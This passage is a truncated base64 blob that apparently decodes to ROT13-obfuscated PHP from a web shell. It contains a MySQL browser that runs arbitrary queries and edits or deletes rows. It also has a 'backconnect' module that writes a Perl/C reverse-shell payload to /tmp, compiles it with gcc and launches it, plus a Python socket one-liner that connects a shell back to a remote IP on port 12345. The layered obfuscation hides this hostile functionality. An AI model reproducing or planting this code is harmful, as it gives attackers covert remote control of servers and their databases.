nOyIgYmF6YmhmcmJoZz0iZ3V2Zi5weW5mZkFuenI9XCdueWcxXCc7Ij4nKTtjKCc8Z3E+VGViamd1PC9ncT48Z3E+Jy4kZWJqWyd0ZWJqZ3UnXS4nJmFvZmM7PC9ncT4nKTtjKCc8L2dlPicpO2MoJzxnZSBweW5mZj0ibnlnMiIgYmF6YmhmcmJpcmU9Imd1dmYucHluZmZBbnpyPVwnc2JwaGZcJzsiIGJhemJoZnJiaGc9Imd1dmYucHluZmZBbnpyPVwnbnlnMlwnOyI+Jyk7YygnPGdxPkhmbnRyPC9ncT48Z3E+Jy4kZWJqWydoZm50ciddLicmYW9mYzs8L2dxPicpO2MoJzwvZ2U+Jyk7Z29zYmJnKCk7YygnPG9lIC8+PG9lIC8+Jyk7fX0gcnlmciB7JHRyZ2FoemZkeSA9ICcnOyRlaGFkaHJlbCA9IDA7dnMgKCRmZHlfZGhyZWwpIHskZWhhZGhyZWwgPSAxO30kbnl5YmpycXZnID0gMDt2cyAoJGdub3lyYW56ciAmJiAhJGZkeV9kaHJlbCkgeyRmZHlfZGhyZWwgPSAiRlJZUlBHICogU0VCWiAkZ25veXJhbnpyIjskdHJnYWh6ZmR5ID0gIkZSWVJQRyBwYmhhZygqKSBTRUJaICRnbm95cmFuenIiOyRueXlianJxdmcgPSAxO31jKCc8c2JleiBucGd2YmE9IicuJGZyeXMuJyIgenJndWJxPSJDQkZHIj4nKTtjKCc8Yz48Z25veXIganZxZ3U9IjIwMCIgb2JlcXJlPSIwIiBwcnl5Y25xcXZhdD0iMCIgcHJ5eWZjbnB2YXQ9IjAiPjxnZT48Z3EgcGJ5ZmNuYT0iMiI+RWhhIEZEWSBkaHJlbC9kaHJldnJmIGJhIHFuZ25vbmZyICcuJHFvYW56ci4nOjwvZ3E+PC9nZT48Z2U+PGdxPjxncmtnbmVybiBhbnpyPSJmZHlfZGhyZWwiIHB5bmZmPSJuZXJuIiBmZ2x5cj0ianZxZ3U6NjAwY2s7dXJ2dHVnOjUwY2s7YmlyZXN5Ymo6bmhnYjsiPicudWd6eWZjcnB2bnlwdW5lZigkZmR5X2RocmVsLFJBR19ESEJHUkYpLic8L2dya2duZXJuPjwvZ3E+PGdxIGZnbHlyPSJjbnFxdmF0OjAgNWNrOyI+PHZhY2hnIHB5bmZmPSJvZyIgZmdseXI9InVydnR1Zzo1MGNrOyIgYW56cj0iZmhvenZnIiBnbGNyPSJmaG96dmciIGlueWhyPSJEaHJlbCIgLz48L2dxPjwvZ2U+PC9nbm95cj48L2M+Jyk7em54cnV2cXIoJ2dub3lyYW56cicsICRnbm95cmFuenIpO3pueHJ1dnFyKCducGd2YmEnLCd6ZmZkeW5xenZhJyk7YygkcW9zYmV6KTtjKCc8L3NiZXo+Jyk7dnMgKCRnbm95cmFuenIgfHwgKCRlaGFkaHJlbCAmJiAkZmR5X2RocmVsKSkge3ZzICgkcWJ2YXQgPT0gJ2ZnZWhwZ2hlcicpIHskZXJmaHlnID0gemZkKCJmcnlycGcgby5hbnpyLHAuYW56ciBuZiBnbGNyLHAua2dsY3Isby55cmF0Z3Usby52ZmFoeXlub3lyLG8ucGJ5ZmduZyxwbmZyIGp1cmEgby5uaGdiaW55IHZmIGFoeXkgZ3VyYSAwIHJ5ZnIgMSByYXEsby5wYnl2cSxuLnZxLHEuZ3JrZyBzZWJ6IGZsZmJvd3JwZ2YgbiB3YnZhIGZsZnBieWh6YWYgbyBiYSBuLnZxID0gby52cSB3YnZhIGZsZmdsY3JmIHAgYmEgby5rZ2xjciA9IHAua2dsY3IgbmFxIHAuaGZyZWdsY3IgPD4gMTggeXJzZyB3YnZhIGZsZnBienpyYWdmIHEgYmEgcS52cSA9IG8ucHFyc25oeWcganVyZXIgbi52cSA9IEJPV1JQR19WUSgnJGdub3lyYW56cicpIGJlcXJlIG9sIG8ucGJ5dnEiKTskZWJqcW8gPSBuZWVubCgpO2p1dnlyKCRlYmogPSB6ZmZkeV9zcmdwdV9uZWVubCgkZXJmaHlnKSkgeyRlYmpxb1tdID0gJGViajt9YygnPGdub3lyIG9iZXFyZT0iMCIgcHJ5eWNucXF2YXQ9IjMiIHByeXlmY25wdmF0PSIwIj4nKTtjKCc8Z2UgcHluZmY9InVybnEiPicpO2MoJzxncT5TdnJ5cTwvZ3E+Jyk7YygnPGdxPkdsY3I8L2dxPicpO2MoJzxncT5ZcmF0Z3U8L2dxPicpO2MoJzxncT5WZmFoeXlub3lyPC9ncT4nKTtjKCc8Z3E+WHJsPC9ncT4nKTtjKCc8Z3E+UXJzbmh5ZzwvZ3E+Jyk7YygnPGdxPlJrZ2VuPC9ncT4nKTtjKCc8L2dlPicpO3NiZXJucHUgKCRlYmpxbyBuZiAkZWJqKSB7JGd1dmZvdCA9IG90KCk7YygnPGdlIHB5bmZmPSInLiRndXZmb3QuJyIgYmF6YmhmcmJpcmU9Imd1dmYucHluZmZBbnpyPVwnc2JwaGZcJzsiIGJhemJoZnJiaGc9Imd1dmYucHluZmZBbnpyPVwnJy4kZ3V2Zm90LidcJzsiPicpO2MoJzxncT4nLiRlYmpbJ2FuenInXS4nPC9ncT4nKTtjKCc8Z3E+Jy4kZWJqWydnbGNyJ10uJ1snLiRlYmpbJ2tnbGNyJ10uJ108L2dxPicpO2MoJzxncT4nLiRlYmpbJ3lyYXRndSddLicmYW9mYzs8L2dxPicpO2MoJzxncT4nLigkZWJqWyd2ZmFoeXlub3lyJ10gPyAnTHJmJyA6ICdBYicpLicmYW9mYzs8L2dxPicpO2MoJzxncT4nLigkZWJqWydwYnlmZ25nJ10gPyAnQ0VWWk5FTCcgOiAnJykuJyZhb2ZjOzwvZ3E+Jyk7YygnPGdxPicuJGVialsnZ3JrZyddLicmYW9mYzs8L2dxPicpO2MoJzxncT4nLigkZWJqWyduaGdiaW55J10gPyAnTmhnYl92YXBlcnpyYWcnIDogJycpLicmYW9mYzs8L2dxPicpO2MoJzwvZ2U+Jyk7fWdvc2JiZygpO30gcnlmcnZzICgkcWJ2YXQgPT0gJ3ZhZnJlZycgfHwgJHFidmF0ID09ICdycXZnJykgeyRlcmZoeWcgPSB6ZmQoImZyeXJwZyBvLmFuenIscC5hbnpyIG5mIGdsY3IscC5rZ2xjcixvLnlyYXRndSxvLnZmYWh5eW5veXIsby5wYnlmZ25nLHBuZnIganVyYSBvLm5oZ2JpbnkgdmYgYWh5eSBndXJhIDAgcnlmciAxIHJhcSxvLnBieXZxLG4udnEscS5ncmtnIHNlYnogZmxmYm93cnBnZiBuIHdidmEgZmxmcGJ5aHphZiBvIGJhIG4udnEgPSBvLnZxIHdidmEgZmxmZ2xjcmYgcCBiYSBvLmtnbGNyID0gcC5rZ2xjciBuYXEgcC5oZnJlZ2xjciA8PiAxOCB5cnNnIHdidmEgZmxmcGJ6enJhZ2YgcSBiYSBxLnZxID0gby5wcXJzbmh5ZyBqdXJlciBuLnZxID0gQk9XUlBHX1ZRKCckZ25veXJhbnpyJykgYmVxcmUgb2wgby5wYnl2cSIpOyRlYmpxbyA9IG5lZW5sKCk7anV2eXIoJGdvID0gQHpmZmR5X3NyZ3B1X25mZmJwKCRlcmZoeWcpKSB7JGVianFvWyRnb1snYW56ciddXSA9ICRnbzskZWJqcW9bJGdvWydhbnpyJ11dWydYcmwnXSA9ICRnb1sncGJ5ZmduZyddOyRlYmpxb1skZ29bJ2FuenInXV1bJ05oZ2InXSA9ICRnb1snbmhnYmlueSddO30kZWYgPSBuZWVubCgpO3ZzICgkcWJ2YXQgPT0gJ3ZhZnJlZycpIHtjKCc8dTI+VmFmcmVnIGFyaiB5dmFyIHZhICcuJGdub3lyYW56ci4nIGdub3lyICZlbmRoYjs8L3UyPicpO30gcnlmciB7YygnPHUyPkhjcW5nciBlcnBiZXEgdmEgJy4kZ25veXJhbnpyLicgZ25veXIgJmVuZGhiOzwvdTI+Jyk7JGp1cmVyID0gb25mcjY0X3FycGJxcigkb25mcjY0KTskZXJmaHlnID0gemZkKCJGUllSUEcgZ2JjIDEgKiBTRUJaICRnbm95cmFuenIgSlVSRVIgJGp1cmVyIik7JGVmID0gemZmZHlfc3JncHVfbmVlbmwoJGVyZmh5Zyk7fWMoJzxzYmV6IHpyZ3VicT0iY2JmZyIgbnBndmJhPSInLiRmcnlzLiciPicpO2MoJHFvc2Jleik7em54cnV2cXIoJ25wZ3ZiYScsJ3pmZmR5bnF6dmEnKTt6bnhydXZxcignZ25veXJhbnpyJywkZ25veXJhbnpyKTtjKCc8Z25veXIgb2JlcXJlPSIwIiBwcnl5Y25xcXZhdD0iMyIgcHJ5eWZjbnB2YXQ9IjAiPicpO3NiZXJucHUgKCRlYmpxbyBuZiAkZWJqKSB7dnMgKCRlZlskZWJqWydhbnpyJ11dKSB7JGlueWhyID0gdWd6eWZjcnB2bnlwdW5lZigkZWZbJGVialsnYW56ciddXSk7fSByeWZyIHskaW55aHIgPSAnJzt9JGd1dmZvdCA9IG90KCk7YygnPGdlIHB5bmZmPSInLiRndXZmb3QuJyIgYmF6YmhmcmJpcmU9Imd1dmYucHluZmZBbnpyPVwnc2JwaGZcJzsiIGJhemJoZnJiaGc9Imd1dmYucHluZmZBbnpyPVwnJy4kZ3V2Zm90LidcJzsiPicpO3ZzICgkZWJqWydYcmwnXSB8fCAkZWJqWydOaGdiJ10pIHtjKCc8Z3E+PG8+Jy4kZWJqWydhbnpyJ10uJzwvbz48b2UgLz4nLiRlYmpbJ2dsY3InXS4nKCcuJGVialsneXJhdGd1J10uJyknLigkZWJqWydwYnlmZ25nJ10gPyAnPG9lIC8+PG8+Q0VWWk5FTDwvbz4nIDogJycpLigkZWJqWyduaGdiaW55J10gPyAnIDxvZSAvPjxvPk5oZ2I8L28+JyA6ICcnKS4nPC9ncT48Z3E+Jy4kaW55aHIuJyZhb2ZjOzwvZ3E+PC9nZT4nKTt9IHJ5ZnIge2MoJzxncT48bz4nLiRlYmpbJ2FuenInXS4nPC9vPjxvZSAvPicuJGVialsnZ2xjciddLicoJy4kZWJqWyd5cmF0Z3UnXS4nKScuKCRlYmpbJ3BieWZnbmcnXSA/ICc8b2UgLz48bz5DRVZaTkVMPC9vPicgOiAnJykuKCRlYmpbJ25oZ2JpbnknXSA/ICcgPG9lIC8+PG8+TmhnYjwvbz4nIDogJycpLic8L2dxPjxncT48Z3JrZ25lcm4gcHluZmY9Im5lcm4iIGFuenI9InZhZnJlZ2ZkeVsnLiRlYmpbJ2FuenInXS4nXSIgZmdseXI9Imp2cWd1OjUwMGNrO3VydnR1Zzo2MGNrO2JpcmVzeWJqOm5oZ2I7Ij4nLiRpbnloci4nPC9ncmtnbmVybj48L2dxPjwvZ2U+Jyk7fX12cyAoJHFidmF0ID09ICd2YWZyZWcnKSB7YygnPGdlIHB5bmZmPSInLm90KCkuJyI+PGdxIHBieWZjbmE9IjIiPjx2YWNoZyBweW5mZj0ib2ciIGdsY3I9ImZob3p2ZyIgYW56cj0idmFmcmVnIiBpbnlocj0iVmFmcmVnIiAvPjwvZ3E+PC9nZT4nKTt9IHJ5ZnIge2MoJzxnZSBweW5mZj0iJy5vdCgpLiciPjxncSBwYnlmY25hPSIyIj48dmFjaGcgcHluZmY9Im9nIiBnbGNyPSJmaG96dmciIGFuenI9ImhjcW5nciIgaW55aHI9IkhjcW5nciIgLz48L2dxPjwvZ2U+Jyk7em54cnV2cXIoJ29uZnI2NCcsICRvbmZyNjQpO31jKCc8L2dub3lyPjwvc2Jlej4nKTt9IHJ5ZnIgeyRkaHJlbGYgPSBAcmtjeWJxcignOycsJGZkeV9kaHJlbCk7c2Jlcm5wdSgkZGhyZWxmIG5mICRhaHo9PiRkaHJlbCkge3ZzICgkZGhyZWwpIHtjKCI8Yz48bz5EaHJlbCN7JGFoen0gOiAiLnVnenlmY3Jwdm55cHVuZWYoJGRocmVsLFJBR19ESEJHUkYpLiI8L28+PC9jPiIpO2ZqdmdwdSh6ZmRsKCRkaHJlbCkpe3BuZnIgMDoNCmMoJzx1Mj5SZWViZSA6ICcuemZ6ZnQoKS4nPC91Mj4nKTtvZXJueDsJDQpwbmZyIDE6DQp2cyAoZmdlZ2J5YmpyZShmaG9mZ2UoJGRocmVsLDAsMTMpKSA9PSAnZnJ5cnBnICogc2VieicpIHskbnl5YmpycXZnID0gMTt9dnMgKCR0cmdhaHpmZHkpIHskZ25nYnkgPSB6ZmZkeV9zcmdwdV9uZWVubCh6ZmQoIkZSWVJQRyBwYmhhZygqKSBTRUJaICRnbm95cmFuenIiKSk7JGduZ2J5ID0gJGduZ2J5WzBdOyR6aHlndmNudHIgPSB6aHlndigkZ25nYnksICRjbnRyYWh6LCAkY250ciwgJGdub3lyYW56cik7fXZzICghJGdub3lyYW56cikgeyRmZHlfeXZhciA9IGZnZV9lcmN5bnByKG5lZW5sKCJcZSIsICJcYSIsICJcZyIpLCBuZWVubCgnICcsICcgJywgJyAnKSwgZ2V2eih1Z3p5ZmNycHZueXB1bmVmKCRkaHJlbCkpKTskZmR5X3l2YXIgPSBjZXJ0X2VyY3lucHIoIi9cL1wqW14oXCpcLyldKlwqXC8vdiIsICIgIiwgJGZkeV95dmFyKTtjZXJ0X3puZ3B1X255eSgiL3NlYnpcZitgezAsMX0oW1xqXSspYHswLDF9XGYrL3YiLCRmZHlfeXZhciwkem5ncHVyZik7JGdub3lyYW56ciA9ICR6bmdwdXJmWzFdWzBdO31jKCR6aHlndmNudHIpO2MoJzxnbm95ciBvYmVxcmU9IjAiIHByeXljbnFxdmF0PSIzIiBwcnl5ZmNucHZhdD0iMCI+Jyk7YygnPGdlIHB5bmZmPSJ1cm5xIj4nKTt2cyAoJG55eWJqcnF2ZykgYygnPGdxPk5wZ3ZiYTwvZ3E+Jyk7JGVyZmh5ZyA9IHpmZCgiZnJ5cnBnIG8uYW56cixwLmFuenIgbmYgZ2xjcixwLmtnbGNyLG8ueXJhdGd1LG8udmZhaHl5bm95cixvLnBieWZnbmcscG5mciBqdXJhIG8ubmhnYmlueSB2ZiBhaHl5IGd1cmEgMCByeWZyIDEgcmFxLG8ucGJ5dnEsbi52cSxxLmdya2cgc2VieiBmbGZib3dycGdmIG4gd2J2YSBmbGZwYnloemFmIG8gYmEgbi52cSA9IG8udnEgd2J2YSBmbGZnbGNyZiBwIGJhIG8ua2dsY3IgPSBwLmtnbGNyIG5hcSBwLmhmcmVnbGNyIDw+IDE4IHlyc2cgd2J2YSBmbGZwYnp6cmFnZiBxIGJhIHEudnEgPSBvLnBxcnNuaHlnIGp1cmVyIG4udnEgPSBCT1dSUEdfVlEoJyRnbm95cmFuenInKSBiZXFyZSBvbCBvLnBieXZxIik7JGVianFvID0gbmVlbmwoKTskeHJsc3ZycSA9ICcnO2p1dnlyKCRnbyA9IEB6ZmZkeV9zcmdwdV9uZWVubCgkZXJmaHlnKSkge2MoJzxncSBhYmplbmM+Jy4kZ29bJ2FuenInXS4nPG9lPjxmY25hPicuJGdvWydnbGNyJ10uJygnLiRnb1sneXJhdGd1J10uJykgJy4oJGdvWydwYnlmZ25nJ10gPyAnPG8+IC0gQ0VWWk5FTDwvbz4nIDogJycpLigkZ29bJ25oZ2JpbnknXSA/ICc8bz4gLSBOaGdiPC9vPicgOiAnJykuJzwvZmNuYT48L2dxPicpOyRlYmpxb1skZ29bJ2FuenInXV1bJ1hybCddID0gJGdvWydwYnlmZ25nJ107JGVianFvWyRnb1snYW56ciddXVsnTmhnYiddID0gJGdvWyduaGdiaW55J107dnMgKCRnb1sncGJ5ZmduZyddKSB7JHhybHN2cnEgPSAkZ29bJ2FuenInXTt9fWMoJzwvZ2U+Jyk7dnMgKGZnZWdieWJqcmUoZmhvZmdlKCRkaHJlbCwwLDEzKSkgPT0gJ2ZyeXJwZyAqIHNlYnonKSB7JGRocmVsIC49ICIgYmVxcmUgb2wgJHhybHN2cnEgUVJGUCI7fSRlcmZoeWcgPSB6ZmQoJGRocmVsKTskdmFxcms9MDt2cygkY250cmFoej4wKSB6ZmZkeV9xbmduX2ZycngoJGVyZmh5ZywkZmduZWdfeXZ6dmcpO2p1dnlyKCR6YSA9IEB6ZmZkeV9zcmdwdV9uZmZicCgkZXJmaHlnKSl7dnMoJHZhcXJrPiRjbnRyYWh6LTEpIG9lcm54OyRndXZmb3QgPSBvdCgpO2MoJzxnZSBweW5mZj0iJy4kZ3V2Zm90LiciIGJhemJoZnJiaXJlPSJndXZmLnB5bmZmQW56cj1cJ3NicGhmXCc7IiBiYXpiaGZyYmhnPSJndXZmLnB5bmZmQW56cj1cJycuJGd1dmZvdC4nXCc7Ij4nKTskanVyZXIgPSAkZ3pjID0gJG8xID0gJyc7c2Jlcm5wdSgkemEgbmYgJHhybD0+JHZhZnZxcil7dnMgKCR2YWZ2cXIpIHt2cyAoJGVianFvWyR4cmxdWydYcmwnXSA9PSAxIHx8ICRlYmpxb1skeHJsXVsnTmhnYiddID09IDEpIHskanVyZXIgPSAkeHJsLiI9JyIubnFxZnluZnVyZigkdmFmdnFyKS4iJyI7b2Vybng7fSRqdXJlciAuPSAkZ3pjLiR4cmwuIj0nIi5ucXFmeW5mdXJmKCR2YWZ2cXIpLiInIjskZ3pjID0gJyBOQVEgJzt9fXNiZXJucHUoJHphIG5mICR4cmw9PiR2YWZ2cXIpeyRvMSAuPSAnPGdxIGFiamVuYz4nLnVnenlfcHlybmEoJHZhZnZxcikuJyZhb2ZjOzwvZ3E+Jzt9JGp1cmVyID0gb25mcjY0X3JhcGJxcigkanVyZXIpO3ZzICgkbnl5YmpycXZnKSBjKCc8Z3EgYWJqZW5jPjxuIHVlcnM9InduaW5mcGV2Y2c6cnF2Z2VycGJlcShcJ3JxdmdcJywgXCcnLiRqdXJlci4nXCcsIFwnJy4kZ25veXJhbnpyLidcJyk7Ij5ScXZnPC9uPiB8IDxuIHVlcnM9InduaW5mcGV2Y2c6cnF2Z2VycGJlcShcJ3FyeVwnLCBcJycuJGp1cmVyLidcJywgXCcnLiRnbm95cmFuenIuJ1wnKTsiPlFyeTwvbj48L2dxPicpO2MoJG8xKTtjKCc8L2dlPicpOyR2YXFyaysrO2hhZnJnKCRvMSk7fWdvc2JiZygpO2MoJHpoeWd2Y250cik7b2Vybng7CQ0KcG5mciAyOg0KJG5lID0gemZmZHlfbnNzcnBncnFfZWJqZigpO2MoJzx1Mj5uc3NycGdycSBlYmpmIDogPG8+Jy4kbmUuJzwvbz48L3UyPicpO29lcm54O319fX19IHJ5ZnIgeyRkaHJlbCA9IHpmZCgiZnJ5cnBnIGZsZmJvd3JwZ2YudnEsZmxmYm93cnBnZi5hbnpyLGZsZmJvd3JwZ2YucG5ncnRiZWwsZmxmaGZyZWYuYW56ciBuZiBiamFyZSxmbGZib3dycGdmLnBlcW5nciBzZWJ6IGZsZmJvd3JwZ2Ygd2J2YSBmbGZoZnJlZiBiYSBmbGZib3dycGdmLmh2cSA9IGZsZmhmcmVmLmh2cSBqdXJlciBmbGZib3dycGdmLmtnbGNyID0gJ0gnIGJlcXJlIG9sIGZsZmJvd3JwZ2YuYW56ciBuZnAiKTskZ25veXJfYWh6ID0gMDskZ25veXJxbyA9IG5lZW5sKCk7anV2eXIoJGdub3lyID0gemZmZHlfc3JncHVfbmVlbmwoJGRocmVsKSkgeyRnbm95cl9haHorKzskZ25veXJxb1tdID0gJGdub3lyO31oYWZyZygkZ25veXIpO2MoJzxnbm95ciBvYmVxcmU9IjAiIHByeXljbnFxdmF0PSIwIiBwcnl5ZmNucHZhdD0iMCI+Jyk7YygnPHNiZXogbnBndmJhPSInLiRmcnlzLiciIHpyZ3VicT0iQ0JGRyI+Jyk7em54cnV2cXIoJ25wZ3ZiYScsJ3pmZmR5bnF6dmEnKTtjKCRxb3NiZXopO2MoJzxnZSBweW5mZj0idXJucSI+Jyk7YygnPGdxPkFuenI8L2dxPicpO2MoJzxncT5CamFyZTwvZ3E+Jyk7YygnPGdxPlBlcm5ncl9ndnpyPC9ncT4nKTtjKCc8Z3E+QmNyZW5ncjwvZ3E+Jyk7YygnPC9nZT4nKTtzYmVybnB1ICgkZ25veXJxbyBuZiAkeHJsID0+ICRnbm95cikgeyRndXZmb3QgPSBvdCgpO2MoJzxnZSBweW5mZj0iJy4kZ3V2Zm90LiciIGJhemJoZnJiaXJlPSJndXZmLnB5bmZmQW56cj1cJ3NicGhmXCc7IiBiYXpiaGZyYmhnPSJndXZmLnB5bmZmQW56cj1cJycuJGd1dmZvdC4nXCc7Ij4nKTtjKCc8Z3E+PG4gdWVycz0id25pbmZwZXZjZzpmcmdnbm95cihcJycuJGdub3lyWydiamFyZSddLicuJy4kZ25veXJbJ2FuenInXS4nXCcpOyI+Jy4kZ25veXJbJ2FuenInXS4nPC9uPjwvZ3E+Jyk7YygnPGdxPicuJGdub3lyWydiamFyZSddLic8L2dxPicpO2MoJzxncT4nLiRnbm95clsncGVxbmdyJ10uJzwvZ3E+Jyk7YygnPGdxPjxuIHVlcnM9InduaW5mcGV2Y2c6ZnJnZ25veXIoXCcnLiRxb2FuenIuJy4nLiRnbm95clsnYW56ciddLidcJywgXCd2YWZyZWdcJyk7Ij5WYWZyZWc8L24+IHwgPG4gdWVycz0id25pbmZwZXZjZzpmcmdnbm95cihcJycuJHFvYW56ci4nLicuJGdub3lyWydhbnpyJ10uJ1wnLCBcJ2ZnZWhwZ2hlclwnKTsiPkZnZWhwZ2hlcjwvbj4gfCA8biB1ZXJzPSJ3bmluZnBldmNnOmZyZ2dub3lyKFwnJy4kcW9hbnpyLicuJy4kZ25veXJbJ2FuenInXS4nXCcsIFwncWViY1wnKTsiPlFlYmM8L24+PC9ncT4nKTtjKCc8L2dlPicpO31jKCc8Z2UgcHluZmY9Jy5vdCgpLic+Jyk7YygnPGdxPkdiZ255IGdub3lyZjogJy4kZ25veXJfYWh6Lic8L2dxPicpO2MoJzxncSBwYnlmY25hPSIzIj48L2dxPicpO2MoJzwvZ2U+Jyk7YygiPC9nbm95cj4iKTt6ZnNlKCRkaHJlbCk7fX19fWdvc2JiZygpO3ZzICgkbnllcm5xbHpmZmR5KSB7QHpmZmR5X3B5YmZyKCk7fX1yeWZydnMgKCRucGd2YmEgPT0gJ29ucHhwYmFhcnBnJykge3ZzKCF2ZmZyZygkbGJoZXZjKSkgJGxiaGV2YyA9ICRfRlJFSVJFWydFUlpCR1JfTlFRRSddO3ZzKCF2ZmZyZygkbGJoZWNiZWcpKSAkbGJoZWNiZWcgPSAnMTIzNDUnOyRoZnJxbyA9IG5lZW5sKCdjcmV5Jz0+J2NyZXknLCdwJz0+J3AnLCdjbGd1YmEnPT4nY2xndWJhJyk7JG9ucHhfcGJhYXJwZz0iVmxSaXFLQWxZMldjb3Y5ak1LV2ZRRGMxcDJIdEgyOXduMkkwQmowWFdUQWdNUTB0VnprNW9hdHZCajBYV1VBNXAzRXlvRzB0VzJJd25UOHRWek8xb3pTZ01GTmdMSk52QjJJdyIuDQoiblQ4dFZ6T2NNVE52Qmw5dm5KNGlwMnRhQmowWFdRTjlXVEFnTVFmQVB2RTBMS1dhTUtEOVdSU0ZFMU1vWlMwN1FEYnhwVDlscVEweERJV1VJeWZrS0dmQVB2RWNMSkV4cHcxY296STBLMlMwbzI0YldVRSIuDQoidXB6cXlxUHh0c1VqdE1UeXlYUFdTcGFXaXB3YnRXUFNwb3ZWY0JqMFhXVU91TVRFbENLQWlMMmd1TVRFbEsyeWhYUEVqbzNXMFlQTnhuSlN4TVVWY1ZVazhWVEVjTUZ0dkVLV2xvM1Y2VlBEdUtUNHZYRyIuDQoiZkFQdkVqcHo5MG9tMWFNS0VqcHo5MG8yVzVvelNnTUZ0YXFUQWpXbHg3UURjbW8yQWVNS0RiSDA5UUYwSUhZUE9ERXk5V0d4SUhZUE9HRzBBWUsxQUhIeElPR0ZqdFdVT2xvM0VpWEZPOHNQT3huSkhiViIuDQoieElscHo5bEJ2TnhWSWtoVnZ4N1FEY3dvMjVoTUpBMFhTQUNEMGdTSVBqdFdVT3VNVEVsWEZPOHNQT3huSkhiVnhJbHB6OWxCdk54VklraFZ2eDdRRGNpcFRJaFhTQUhFUnlCWVBOdkN2TUdHMEFZRUlEdiIuDQoiWEdmQVB6OWpNSjRiSDFFUkcxSUhZUE52Q3ZNR0cwQVlFSUR2WEdmQVB6OWpNSjRiSDFFUkVJV0ZZUE52Q3ZNR0cwQVlFSUR2WEdmQVBhQTVwM0V5b0Z0eHAzeW1xVElnWEdmQVB6QWZvM0F5WFNBSEVSeSIuDQoiQlhHZkFQekFmbzNBeVhTQUhFUjlJSVB4N1FEY3dvVDltTUZ1R0lSRVNIeVZjQmo9PSI7JG9ucHhfcGJhYXJwZ19wPSJWMnloTDJrMU1USHRDVUEwTVR5aVl6dCtRRGJ3bko1d29VSXhNRk44cDN5bVkzQWlMMmd5cVA1YkN0MFhWMnloTDJrMU1USHRDVDV5cVR5aE1LRGluSjRoblE0QVB6eWhxUCIuDQoiT2dMSnloWFR5aHFQT3VwenF3WVBPd25UU2xWUGN1cHpxMkoxMGNRRGM3UURidG5KNTBWVE14QmowWFZVQTBwYUl3cVBPbW8yQWVMSkV4cHk5Y292T21uSjQ3UURidEwydXVwdk9sb0tBb1p3U3FDRldsbyIuDQoiRk5nTXZOdkJsTkFQdk94TEpJZ28yNGJaRmpqWEdmQVB2T21uSjRocDJ5aEsyTXVvSnlmckZOOVZSU1RLMHlCRUlEN1FEYnRwMnloWWFBY295OWpvM1cwVlEwdG5VRWlvYVpiTEtFaW5GdXVwenEySm1XcSIuDQoiWEZ4N1FEYnRwMnloWWFBY295OXVNVEVsWWFBc0xKRXhwdk45VlR5aE1LRXNMSkV4cHZ1dXB6cTJKbVNxWEdmdFFEYnRMYWN5cHo4YkxLV2FxeWZrS0ZrbXFVV2ZNSjRiTEtXYXF5ZmtLRnhlWkZnbXFVVyIuDQoiZk1KNGJMS1dhcXlmbEtGeGNCbE5BUHZPek1QTjlWVUFpTDJneXFQdU9FeTlXR3hJSFlQT0dHMEFZSzFBSEh4SU9HRmp0RklPREh4OUhHMTlIRDFOY1ZRZnRRRGJ0bkpMdFhQdXdvMjVoTUpBMFhUTXhZUCIuDQoiTmJwM0VscUpBMFZVQWlMMmd1TVRFbFZQYmNWUE1tbko0ZlZVQWNyeklpTXZ1bXFVVzFMM0R0cDI5d24yU3hNVVZjWEZ4OFpQeHRyajBYVlBOdHBUSWxwejlsWFBXb1lJMHRMMjlob3pJd3FQdGNWdng3USIuDQoiRGJ0VlBPeXJUeTBYUU5jQmowWFZVMEFQdk9tcVVXd0xLRGJwejFtWVBPdXB6cTJKbU9xWEdmQVB2T21yS0EwTUowYnB6MW1YR2Z0Vk4wWFZURTFwUVZiTXpEZlZRTmNCajBYVlRFMXBRVmJNekRmVlFSYyIuDQoiQmowWFZURTFwUVZiTXpEZlZRVmNCajBYVlRJNE1KQWZYUFZpTHp5aFkzQWJWdmp2cDJ0dFlKeHZZUE9CSUhrWlhHZkFQdk93b1Q5bU1GdXpNUHg3Vk4wWHNEPT0iO3ZzICh2ZmZyZygkZmduZWcpICYmIHZmZnJnKCRsYmhldmMpICYmIHZmZnJnKCRsYmhlY2JlZykgJiYgdmZmcmcoJGhmcikpeyRvbnB4X3BiYWFycGdfY2xndWJhPSIgLXAgJ3Z6Y2JlZyBmYnB4cmcsZmhvY2VicHJmZixiZjtmPWZicHhyZy5mYnB4cmcoZmJweHJnLk5TX1ZBUkcsZmJweHJnLkZCUFhfRkdFUk5aKTtmLnBiYWFycGcoKFwiIi4kbGJoZXZjLiJcIiwiLiRsYmhlY2JlZy4iKSk7YmYucWhjMihmLnN2eXJhYigpLDApOyBiZi5xaGMyKGYuc3Z5cmFiKCksMSk7IGJmLnFoYzIoZi5zdnlyYWIoKSwyKTtjPWZob2NlYnByZmYucG55eShbXCIiLiRwenFmdXJ5eS4iXCIsXCItdlwiXSk7JyI7Zmp2Z3B1KCRoZnIpe3BuZnIgJ2NyZXknOg0KcHMoJy9nemMvbmF0cnlfb3AnLCRvbnB4X3BiYWFycGcpOyRlcmYgPSBya3JwaGdyKGp1dnB1KCdjcmV5JykuIiAvZ3pjL25hdHJ5X29wICRsYmhldmMgJGxiaGVjYmVnICYiKTtvZXJueDtwbmZyICdjbGd1YmEnOg0KJGVyZiA9IHJrcnBoZ3IoanV2cHUoJ2NsZ3ViYScpLiRvbnB4X3BiYWFycGdfY2xndWJhKTtvZXJueDtwbmZyICdwJzoNCnBzKCcvZ3pjL25hdHJ5X29wLnAnLCRvbnB4X3BiYWFycGdfcCk7JGVyZiA9IHJrcnBoZ3IoJ3RwcCAtYiAvZ3pjL25hdHJ5X29wIC9nemMvbmF0cnlfb3AucCcpO0BoYXl2YXgoJy9nemMvbmF0cnlfb3AucCcpOyRlcmYgPSBya3JwaGdyKCIvZ3pjL25hdHJ5X29wICRsYmhldmMgJGxiaGVjYmVnICYiKTtvZXJueDt9dnMgKCRoZnIgPT0gJ2NyZXknKSB7fSByeWZydnMoJGhmcj09J3AnKSB7fQ0KeigiVmFncmFnbmFxYiBwYmFycGduZWZyIG4gJGxiaGV2YyBjaHJlZ2IgJGxiaGVjYmVnIC4uLiIpO31zYmV6dXJucShuZWVubCgnZ3ZneXInPT4nRnVyeXkgdmFpcmVmbicpKTt6bnhydXZxcignbnBndmJhJywnb25weHBiYWFycGcnKTtjKCc8Yz4nKTtjKCdWQzonKTt6bnhydmFjaGcobmVlbmwoJ2FuenInPT4nbGJoZXZjJywnZnZtcic9PjIwLCdpbnlocic9PiRsYmhldmMpKTtjKCdDaHJlZ2I6Jyk7em54cnZhY2hnKG5lZW5sKCdhbnpyJz0+J2xiaGVjYmVnJywnZnZtcic9PjE1LCdpbnlocic9PiRsYmhlY2JlZykpO2MoJ0Z1cnl5OicpO3pueHJ2YWNoZyhuZWVubCgnYW56cic9